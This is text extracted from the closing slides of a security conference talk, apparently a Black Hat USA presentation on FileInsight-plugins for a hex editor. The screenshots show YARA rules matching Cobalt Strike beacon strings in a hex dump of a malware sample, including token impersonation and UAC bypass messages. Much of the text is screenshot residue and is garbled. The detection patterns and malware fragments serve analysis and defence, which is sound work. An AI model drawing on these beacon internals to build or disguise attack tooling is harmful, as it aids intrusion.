WS2_32.dll 23 Functions	000000B0 BD 6F C6 3F 6F 6F C7 3F A3 3D 4E 3F 0A 6F C7 3F 0 ?00 ? =N? 0 ?
IPHLPAPI.DLL 2 Functions	000000C0 A3 3D 55 3F BC 6F C7 3F A3 3D 56 3F BC 6F C7 3F =U? o ? =V? o ?
Secur32.dll 3 Functions	000000D0 52 69 63 68 BD 6F C7 3F 00 00 00 00 00 00 00 00 Rich o ?
	00000110 CD 67 01 00 00 10 00 00 40 02 00 00 00 10 q @
	00000120 00 10 00 00 02 00 00 05 00 00 VARA scan
	00000130 05 00 00 00 00 00 00 00 00 20 04
	00000140 7B F4 03 00 02 00 40 01 00 00 10 File to be scanned: New file 2*
	00000160 00 E1 02 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00
	00000170 00 F0 03 00 B4 01 00 00 00 00 00 00 00 00 00 00 00 00
Navigation Structures Decode	
ookmarks	
🚰 Values 🛛 🔁 Bookmarks 🛛 📰 Calculator	📃 Output 🔤 Scripting
ess F1 for help	
- H; <u></u>	

FileInsight - apt_cobaltstrike.yar

₽ 🖻



ð X

 \mathbf{A}

2* × Disassembly* × New file 2* × apt_cobaltstrike.yar × ◆ ▷ ₹ ×

the DLL file 2) with the e file

Offset 0h (0) Length 0h (0) OVR 슋 [] 🏹 🗘 🐄 🕼 🔛 🚾 A 🖸 5:09 PM 8/7/2021 다

File <u>H</u> ome	<u>E</u> dit <u>S</u> ear	rch <u>P</u> lugir	s <u>W</u> indows	He <u>l</u> p											
Operations															
v operations															
Plugins															
Navigation		₽	ew file 0* 🗙 Out	put of Custom base	e64 decode* × Nev	w file 1* 🗙 Output	of Custom base64	4 decode* × Emula	ation trace* 🛛 🗙	Memory dump	0* × Memory	dump 1* 🗙	Memory dump 2 ³	* × Disas	sembly* × I
🗙 Supported for H	ITML, OLE2, PE and	d Flash.	Scanne	ed file: Ne	w file 2*										
			YARA 1	cule file:	apt_cobaltst	rike.yar									
			Offset	c: 0x2a034	size: 6 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v1 mat	ched: 737	70726e6700	(hex)	
			Offset	: 0x2e0e2	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
			Offset	: 0x2e0e3	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: 111			
			Offset	: 0x2e0e4	size: 8 rule	: APT_Cobalt	Strike_Bea	con Indicato	or tag: or tag:	identifier	: Sv2 mate	ched: iii	11111		
			Offset	: 0x2e0e6	size: 8 rule	: APT Cobalt	Strike Bea	acon Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiiii		
			Offset	: 0x2e0e7	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mat	ched: iii	liiii		
			Offset	: 0x2e0e8	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
			Offset	: 0x2e0e9	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
			Offset	: 0x2e0ea	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	11111		
			Offeet	: Ux2eUeb	size: 8 rule	: APT_Cobalt	Strike_Bea	con_Indicato	or tag: or tag:	identifier	: \$V2 mate	ched: 111 ched: iii			ict of
			Offset	: 0x2e0ed	size: 8 rule	: APT_Cobalt	Strike_Bea	acon Indicato	or tag:	identifier	: Sv2 mat	ched: iii	iiiii		
			Offset	: 0x2e0ee	size: 8 rule	: APT_Cobalt	Strike Bea		or tag:	identifier	: \$v2 mat	ched: iii	iiiii	•	with t
			Offset	: 0x2e0ef	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiiii		
			Offset	:: 0x2e0f0	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	iiiii		
			Offset	:: 0x2e0f1	size: 8 rule	: APT_Cobalt	Strike_Bea	con_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
			Offset	: 0x2e0f2	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: 111	11111		
			Offset	: 0x2e013	size: 8 rule	: APT_Cobalt	Strike_Bea	con_Indicate	or tag: or tag:	identifier	: \$v2 mate	ched: iii	11111		
			Offset	: 0x2e0f5	size: 8 rule	: APT Cobalt	Strike Bea	acon Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiiii		
🐼 Navigation 📑	🗴 Structures 🛛 🖸	Decode	Offset	:: 0x2e0f6	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mat	ched: iii	iiiii		
Paralum and a		n	Offset	c: 0x2e0f7	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
BOOKMARKS	_	Ŧ	Offset	: 0x2e0f8	size: 8 rule	: APT_Cobalt	Strike_Bea	acon_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	liiii		
	_	_	Offset	: 0x2e0f9	size: 8 rule	: APT_Cobalt	Strike_Bea	con_Indicato	or tag:	identifier	: \$v2 mate	ched: iii	11111		
			<	• NV740+5	e176. 8 mile	· ADI CONSIT	GERIVA RAS	con Indicato	or tag.	Identifier	• 5177 mat/	-ned. 111			
			Output												
									_			_		_	_
				the schele i	<i>c:</i> 1-										
			VARA sca	the Whole :	Ille. are shown in	the new "VA	RA scan ma	cthes" tab							
			Please u	use "Windows	s" tab \rightarrow "N	ew Vertical	Tab Group"	to see YARA	A rule, m	atches, an	d file cor	ntents si	.de bv side		
			Elapsed	time (scan)): 0.541000	(sec)	-						-		
			Added bo	okmarks to	the search l	hits in New	file 2*.								
			Elapsed	time (book	mark): 0.114	000 (sec)									
			<												
😭 Values 🔂 Boo	okmarks 📰 Cal	culator	📃 Output 🔤	Scripting											
	— —	(3											

FileInsight - YARA scan matches*

D 1-



ð X

>

-

f the strings matched the YARA rules



File <u>H</u> ome	e <u>E</u> dit	<u>S</u> earch	Plugins	<u>W</u> indows	He <u>l</u> p																	
Operations																						
y operations																						
Plugins										_				_				_				
Navigation			Р ew fil	≘0* × Outp	ut of Custom b	ase64 decode	* × New	file 1* 🗙	Output of C	ustom ba	se64 decode	e* × Em	ulation trace*	×M	emory dum	р0* × I	Memory dum	np 1* 💙	× Memo	ory dump 2*	× Disass	embly* × 1
Navigation Supported for	HTML, OLE2,	PE and Flash	Ψ ew fil	<pre>O* × Outp Offset</pre>	ut of Custom b : 0x2e62b : 0x2e62c : 0x2e62c : 0x2e62c : 0x2e630 : 0x2e631 : 0x2e631 : 0x2e633 : 0x2e633 : 0x2e634 : 0x2e635 : 0x2e637 : 0x2e638 : 0x2e638 : 0x2e638 : 0x2e638 : 0x29b7c : 0x29b7c : 0x29b7c : 0x29c2 : 0x29b7c : 0x29b	ase64 decode p size:	* X New 8 rule: 8 rule: 9 rule 29 rule 20 rule 20 rule 20 rule 20 rule	file 1* × APT_CC APT	Output of C obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: obaltSt: cobaltSt: _C	ustom ba rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E rike_E strike Strike Strike Strike Strike strike strike	se64 decode 3eacon_	* × Em Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Indicat Cot ag: Cot ag: Cot	ulation trace* tor tag: tor tag: ngs tag: nmodity nmodity	<pre>X M i ide i i</pre>	emory dump entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie entifie	0* × r: \$v2 r: \$v3 r: \$s3 r: \$s5 r: \$s5 r	Memory dum matche matche matche matche matche matche matche matche matche matche matche matche matche matche matche atched: atched:	p1* > d: i i d: i i i d: i i d: i i i i d: i i i i d: i i i i k s s s s s s s s s s s s s s s s s s	Memo iiiiiii iiiiiii iiiiiii iiiiiii iiiiii	bry dump 2* ii ii ii ii ii ii ii ii ii i	× Disassi d %02d: d %02d: ce %s o %d 1203230 %02d:%0 %02d:%0	<pre>% 2 2 4 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2</pre>
Bookmarks	📸 Structure	s 🖸 Deco	de Ŧ	Offset Offset Offset	: 0x29f98 : 0x2318c : 0x281bc	size: size: size:	8 rule: 8 rule: 6 rule:	HKTL_ HKTL_ HKTL_	Win_Coba Win_Coba Win_Coba	altStr altStr altStr	rike ta rike ta rike ta	g: Comr g: Comr g: Comr	nodity i nodity i nodity i	ident: ident: ident:	ifier: ifier: ifier:	\$s5 ma \$s6 ma \$s7 ma	tched: tched: tched:	%s&% rijn (nul	s=%s dael 1)			
			<							_				_				_				
			Out	out																		
				Scanned t YARA scar Please us Elapsed t Added boo Elapsed t	the whole n matches se "Windo time (sca okmarks t time (boo	file. are sh ws" tab n): 0.5 o the s kmark):	own in -> "Ne 41000 () earch h 0.1140	the new w Verti sec) its in 00 (sec	w "YARA ical Tak New fil c)	scan Grou Le 2*.	macthe: p" to :	s" tab. see YAF	RA rule,	mato	ches, a	nd fil	e conte	nts :	side k	oy side		
🔗 Values 📃 🗔 🖪	Bookmarks	🖬 Calculato	or 📃 🖃	Output Se Se	cripting																	
					-mpring																	
	5	- 📦	-	5																		

FileInsight - YARA scan matches*

D 14



– 0 ×

New file 2* 🗙	apt_cobaltstrike.yar	× YARA s	can matches*	× •	₹×
					>
a d					
0d0a436f	6e74656e742d	5479706	53a206170	706c	6
					-
					~
				,	
					4
_		_	_		>
			Ln 1 Col 0	Len 0	INS

① ▲ ① 平 ■ A ② 5:10 PM
 8/7/2021
 □

♥ 👎				FileInsight - YARA scan matches*	
File <u>H</u> ome <u>E</u> dit	<u>S</u> earch <u>P</u>	lugins	Windows	Help	
New Hori <u>z</u> ontal Tab Group	Close Close But T	All Close his All	File Properties		
Tabs		File			
Navigation New file 2 Construct the file of the file	D ctions tions ions ons ons ons	A ew file	0* × Output 00029A80 00029A80 00029A80 00029A00 00029A00 00029A00 00029A00 00029B00 00029B00 00029B10 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20 00029B20	tof Custom base64 decode* × New file 1* × Output of Custom base64 decode* × Emulation trace* > ↓ ♥ ♥ × 65 61 74 65 20 73 65 72 76 69 63 65 3A 20 25 64 00 00 00 00 43 6F 75 6C 64 20 6E 6F 74 20 73 74 61 72 74 20 73 65 72 76 69 63 65 3A 20 25 64 00 46 61 69 6C 65 64 20 74 6F 20 69 6D 70 65 72 73 Failed to impers 6F 6E 61 74 65 20 74 6F 6B 65 6E 3A 20 25 64 00 0 nate token: %d 46 61 69 6C 65 64 20 74 6F 20 67 65 74 20 74 6F 6B 65 6E 00 42 79 70 61 73 73 55 41 43 20 69 73 20 66 6F 72 20 57 69 6E 64 6F 77 73 20 37 20 61 6E 64 20 6C 61 74 65 72 00 00 00 00 59 6F 75 27 nd later You' 72 65 20 61 6C 72 65 61 64 79 20 61 6E 20 61 64 6D 69 6E 00 6D 79 2E 64 6C 6C 00 00 49 73 57 6F min my.dll IsWo 77 36 34 50 72 6F 63 65 73 73 00 00 6B 65 72 6E 65 6C 33 32 00 00 00 00 72 62 00 00 43 6F 75 6C 65 6C 33 32 00 00 00 00 72 62 00 00 43 6F 75 6C 65 6C 33 32 00 00 00 00 72 62 00 00 43 6F 75 6C 64 20 6E 6F 74 20 6F 70 65 6E 20 27 25 73 27 00 64 20 6E 6F 74 20 6F 70 65 6E 20 27 25 73 27 00 5C 2A 00 00 25 73 5C 25 73 00 00 00 2E 5C 2A 00 5C 2A 00 00 25 73 5C 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 00 00 64 20 62 63 73 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 64 20 62 63 73 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 5C 2A 00 00 25 73 5C 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 73 0A 00 000 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 000 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 73 0A 00 00 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 73 0A 00 00 5C 2A 00 00 25 73 0A 00 44 09 30 09 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 00 25 73 0A 00 000 5C 2A 00 00 25 73 0A 0	YARA scan matches* × APT_CobaltStrike_Beacon_Indicator tag: ide APT_CobaltStrike_Beacon_Indicator tag: ide HKTL_CobaltStrike_Beacon_Strings tag: ide HKTL_CobaltStrike_Beacon_Strings tag: ide
Navigation Structures Bookmarks Image: Contract of the second s	D Decode	P	00029BA0 00029BB0 00029BD0 00029BE0 00029BF0 00029C00 00029C10 00029C10 00029C20 00029C30 00029C40	46 09 25 49 36 34 64 09 25 30 32 64 2F 25 30 32 F %I64d %02d/%02 64 2F 25 30 32 64 20 25 30 32 64 3A 25 30 32 64 3A 25 30 32 64 09 25 73 0A 00 00 00 57 6F 77 36 34 44 69 73 61 62 6C 65 57 6F 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6F 6E 00 00 57 6F 77 36 34 52 65 76 65 72 74 57 6F 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6F 6E 00 00 06 63 6F 75 6C 64 69 72 65 63 74 69 6F 6E 00 00 06 63 6F 75 6C 64 69 72 65 63 74 69 6F 6E 00 00 06 63 6F 75 6C 64 69 72 65 63 74 69 6F 6E 00 00 06 63 6F 75 6C 64 69 72 65 63 74 69 6F 6E 00 00 00 63 6F 75 6C 64 69 72 65 63 74 69 6F 6E 00 00 00 63 6F 75 6C 64 20 62 79 74 65 73 20 69 6E 20 70 72 6F 63 65 64 20 62 79 74 65 73 20 69 6E 20 70 72 6F 63 65 64 20 77 72 69 74 65 20 74 6F 20 70 72 6F 63 65 75 6C 64 20 6E 6F 75 72 69 74 65 20 74 6F 20 70 72 6F 63 65 75 6C 64 20 6E 6F 75 72 69 74 65 20 74 6F 20 70 72 6F 63 65 75 6C 64 20 6E 6F 75 72 69 74 65 20 74 6F 20 70 72 6F 63 65 75 75 75 75 75 75 75 75 75 75 75 75 75 7	The matched strings are bookmarked HKTL_Win_CobaltStrike tag: Commodity ident: HKTL_Win_CobaltStrike tag: Commodity ident: HKTL_Win_CobaltStrike tag: Commodity ident:
0x2318c HKTL_Win_CobaltStri	i ke \$s rijndael	^ <			٢
0x281bc HKTL_Win_CobaltStri	ike \$s (null)	Outp	out		
0x29602 HKTL_CobaltStrike_B	eacon %s as %		0		
Ox29602 HKTL_Win_CobaltStri Ox29748 HKTL_CobaltStrike_B Ox2997c HKTL_CobaltStrike_B Ox29b7c HKTL_Win_CobaltStri Ox29b7c HKTL_CobaltStrike_B Ox29ba8 HKTL_CobaltStrike_B Ox29ba8 HKTL_Win_CobaltStri	ike \$s %s as %: eacon Started eacon %02d/% ike \$s %02d/% eacon %02d/% ike \$s %02d/%		Scanned t YARA scan Please us Elapsed t Added boo Elapsed t	he whole file. matches are shown in the new "YARA scan macthes" tab. e "Windows" tab -> "New Vertical Tab Group" to see YARA rule, matches, ime (scan): 0.541000 (sec) kmarks to the search hits in New file 2*. ime (bookmark): 0.114000 (sec)	, and file contents side by side.
0x29f98 HKTL_Win_CobaltStri	ke \$s %s <u>%</u> s=%	8			

📫 🛱 🔚 🎦 🗳 刘 💆 🥝

📃 Output 🛛 📧 Scripting

Ox2a034 APT_CobaltStrike_Beacon_ sprng
 Ox2a070 HKTL_Win_CobaltStrike \$s %s (admi
 Ox2a170 HKTL_Win_CobaltStrike \$s HTTP/1.1 v

🚰 Values 🔁 Bookmarks 📅 Calculator

-

ð X

	×
identifier: \$v2 matched: iiiiiiii /	^
identifier: \$v2 matched: iiiiiiii	
identifier: \$s1 matched: %02d/%02d/%02d %02	
identifier: \$s1 matched: %02d/%02d/%02d %02	
dentifier: \$s2 matched: Started service %s	
ntifier: \$s3 matched: %s as %s\%s: %d	
ifier: \$s1 matched: %s (admin)	
ifier: \$s2 matched: 485454502f312e312032	
ifier: \$s3 matched: %02d/%02d/%02d %02d:	
ifier: \$s3 matched: %02d/%02d/%02d %02d:	
tifier: \$s4 matched: %s as %s\%s: %d	
entifier: \$s5 matched: %s&%s=%s	
entifier: \$s6 matched: rijndael	
entifier: \$s7 matched: (null)	

4

> ~

Offset 29B7Ch (170876) Length 1Dh (29) OVR

뷳 🖞 🔌 🕼 🔛 🚾 A 🚺 🕺 5:11 PM 🖓



Wrap-up

6 FileInsight-plugins makes FileInsight hex editor super powerful!



• If you like it, please try it! 💽



@BLACKHATEVENTS





Thank you!

https://github.com/nmantani/FileInsight-plugins

This slide deck uses Twemoji licensed by Twitter, Inc. under the CC-BY 4.0. https://twemoji.twitter.com/



#BHUSA @BLACKHATEVENTS

